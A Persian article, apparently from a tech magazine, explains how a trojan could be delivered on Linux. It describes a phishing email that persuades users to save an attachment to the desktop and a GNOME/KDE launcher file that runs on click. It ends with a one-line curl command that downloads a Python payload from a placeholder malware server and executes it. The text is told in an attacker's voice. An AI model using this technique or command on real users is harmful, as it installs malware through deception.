البته، شایان ذکر است که توضیح دهیم ساختار سیستم عامل لینوکس بسیار مستحکمتر از ویندوز است و بهسادگی کاربران نمیتوانند با دریافت یک فایل آلوده، دچار مشکل شوند. اما، خواهیم دید که چطور با پیمودن چند مرحله ساده، میتوان برای لینوکس هم بدافزار نوشت.
گفته شده است که کدی که در ادامه مینویسیم، در دسته ویروسها قرار نمیگیرد و بیشتر بهعنوان تروجانها مطرح میشود. همچنین، باید ذکر کنیم که این حفرههای امنیتی از ویژگیهای محیطهای رومیزی بیشتر لینوکسهای محبوب، یعنی گنوم و کیدیئی بهشمار میرود. خود هسته اصلی لینوکس هیچ کدام از این حفرهها را ندارد. لینوکس یا هر سیستم دیگری که بر پایه یونیکس کار میکند، اگر از گنوم یا کیدیئی استفاده نکنند، قطعا هیچ مشکلی نخواهند داشت. همچنین گفته باشیم که جدا بودن میزکار از سیستم عامل، خود مزیت بزرگی بهشمار میرود و شما میتوانید با تغییر میز کار خود از این مشکل نیز دوری کنید.
کاربران را وادار کنید ایمیلتان را بخوانند
اگر بدنبال راه جدیدی برای نفوذ به کامپیوتر آسیبپذیر میگردید، باید ناامیدتان کنیم. یکی از ابتداییترین ویروسها، با اجرای کاربر فعال میشود و ساختار سادهای داشت. ما نیز از همین روش استفاده خواهیم کرد و آن را روی محیط کار مدرن لینوکس پیاده خواهیم نمود.
در ویندوز روال کار ساده است، شما یک ویروس مینویسید، آن را با پسوند .exe ذخیره میکنید و به ایمیلتان پیوست میکنید. سپس با یک عنوان اغواکننده، کاربر را وادار به باز کردن آن میکنید و کاربر نگونبخت با باز کردن آن در سیستم عامل خودش — ویندوز و در غیاب حضور نرمافزار ضدویروس، به آن دچار خواهد شد. در یک چشم بههمزدن بدافزار خود را نصب میکند و سیستم را تصاحب خواهد کرد.
شما فکر میکنید چنین چیزی در لینوکس ممکن نیست؟ معلوم است که چنین چیزی ممکن است. فقط نیاز به یکی دو گام بیشتر دارد. هرچند، در معماری پایهلینوکس برای جلوگیری از حماقت کاربر و باز کردن فایلهای آلوده، هیچ تدبیری اندیشیده نشده است. بنابراین، ما مرکز حملات خود را از این ناحیه یعنی نادانی کاربر آغاز خواهیم کرد.
فقط یک یا دو مورد هست که باید به آنها دقت کرد.
نخست این را بگوییم که بیشتر نرمافزارهای ایمیلخوان لینوکس فایلهای پیوست را اجرا نمیکنند. این نرمافزارها فقط در صورتی فایلهای پیوست را اجرا میکنند که بدانند محتوای آن چیست، یا پسوند آن را بشناسند (برای مثال فایل PDF یا دیگر پروندهها....) فرض کنیم که شما ویروس خود را با زبان زیبای پایتون نوشته باشید و پسوند آن هم .py باشد. در این صورت یکی باید تنظیمات سیستم را تغییر بدهد که این پسوند اجرا شود، چه کسی قرار است این کار را بکند؟
پس نتیجه میگیریم که باید از راه دیگری وارد شویم. چیزی که همیشه موقع کلیک کردن اجرا شود و به سراغ مرحله بعدی برویم. کاربر اول باید پیوست را ذخیره کند و بعد روی آن دوبار کلیک کند. از آنجایی که نرمافزار ایمیلخوان این اجازه را نمیدهد، مجبوریم به میزکار رجوع کنیم و خواهیم دید که چهساده اجازه این کار را خواهد داد. کافی است که بار دیگر به نادانی کاربر اعتماد کنیم و مثلا جملهای بنویسیم که:
(اگر پیوست باز نمیشود، روی میزکار خود ذخیره کنید و بعد بازش کنید...)
بیشتر ما این پیغام را مشکوک قلمداد میکنیم، اما همهما نه. بنابراین، عدهای از میان ما حتما آن را روی میزکارشان ذخیره خواهند کرد.
غفلت کاربران را دست کم نگیرید حتی در لینوکس
شما حتما میخواهید بگویید که کاربران لینوکس نسبت به کاربران ویندوزی از آنچه انجام میدهند، هشیارترند. چرا که انتخاب سیستم عامل دیگری جدای ویندوز و همچنین، یادگیری کار کردن با آن، دانشی فراتر از کاربران غیرفنی را بهآنها خواهد داد. اما این موضوع در حال تغییر است، با انقلاب نتبوکها که بهعنوان پیشفرض رویشان لینوک نصب است. بسیاری از این کاربران دیگر آگاهانه لینوکس را انتخاب نکردهاند و درست میزان غفلتشان به اندازه کاربران ویندوزی خواهد بود.
همچنین، دوران بیدغدغه لینوکسی در گذشته، این حس غلط را به کاربران القا کرده است که لینوکس همواره امن است. ما از همین ذکر که «لینوکس بسیار امن است و نیازی به نرمافزار ضدویروس ندارید!» برای حمله استفاده خواهیم کرد و خیالمان راحت است که وقتی آسیب زدیم، نرمافزار ضدویروسی وجود ندارد که بخواهد مچ ما را بگیرد.
بسیار خب، به مسایل فنی بازگردیم، بیشتر نرمافزارهای ایمیلخوان،فایلهای پیوست را روی میزکار کاربر و در شاخه دانلود قرار میدهند. بنابراین اگر کاربر فایل را بررسی نکند و آن را ذخیره کند، حقهمان را زدهایم. همانجایی که ما مدنظرمان بود، فایلمان قرار میگیرد.
اجرا کردن فایل پیوستی
قبلا گفتیم که فایلهای پیوستی وقتی ذخیره میشوند، بهطور عادی اجرا نمیشوند. هیچ پسوندی در لینوکس وجود ندارد که بگوید وقتی روی این فایل کلیک شد، آن را اجرا کن و این برخلاف ویندوز و پسوند .exeاش است. بنابراین، مشکل دوم و بزرگی که به آن میخوریم این است: برای اجرای یک فایل در لینوکس، حتما باید کاربر در بخش دسترسیهای فایل،آن را به فایل اجرایی تبدیل کند. این همان چیزی است که ویندوز ندارد. و بهخاطر همین است که آلوده کردن سیستمهای ویندوزی بسیار سادهتر است و تقریبا در سیستمهای مبتنی بر لینوکس غیرممکن بهنظر میرسد. وقتی یک فایل پیوستی را روی کامپیوتر خود ذخیره میکنید، پرچم اجرایی کردن فایل علامت نمیخورد و بههمین ترتیب، وقتی روی فایل کلیک میشود، فایل اجرا نمیگردد.
تند نرویم. محیطهای میزکار مدرنی چون کیدیئی یا گنوم، یک راه درروی زیبا به نام «سکوی پرتاب» یا Launcher به ما ارائه میدهند.
سکوهای پرتاب فایلهای کوچکی هستند که نشان میدهند چه چیز بایستی اجرا شود. فقط چند خط کوتاه میتواند اسم، آیکن و دستوری که باید اجرا شود را مشخص کند. خوشبختانه برای ما، گرامر دستور نوشتن در کیدیئی و گنوم یکی است. همچنین جالب است بدانید این سکوهای پرتاب نیازی به تنظیمات اجرایی ندارند! محیطهای میزکار این فایلها را بهعنوان فایل استثنا قلمداد میکنند.
بنابراین وقتی روی فایل سکوی پرتاب گنوم یا کیدیئی کلیک میکنید، بدون آنکه نیازی به تنظیم کردن دسترسی خاصی باشید، آن فایل اجرا میشود. بهنظرتان سخت است که با یک دستور بخواهیم یک بدافزار را روی سیستم نصب کنیم؟ اینجا را ببینید:
% bash -c "curl http://www.some_malware_
server.org/s.py -o /tmp/s.py; python /tmp/s.py"
در تپش این هفته، ماجرای فریب و تعرض در پوشش عرفانهای دروغین و رمالی را بررسی کردیم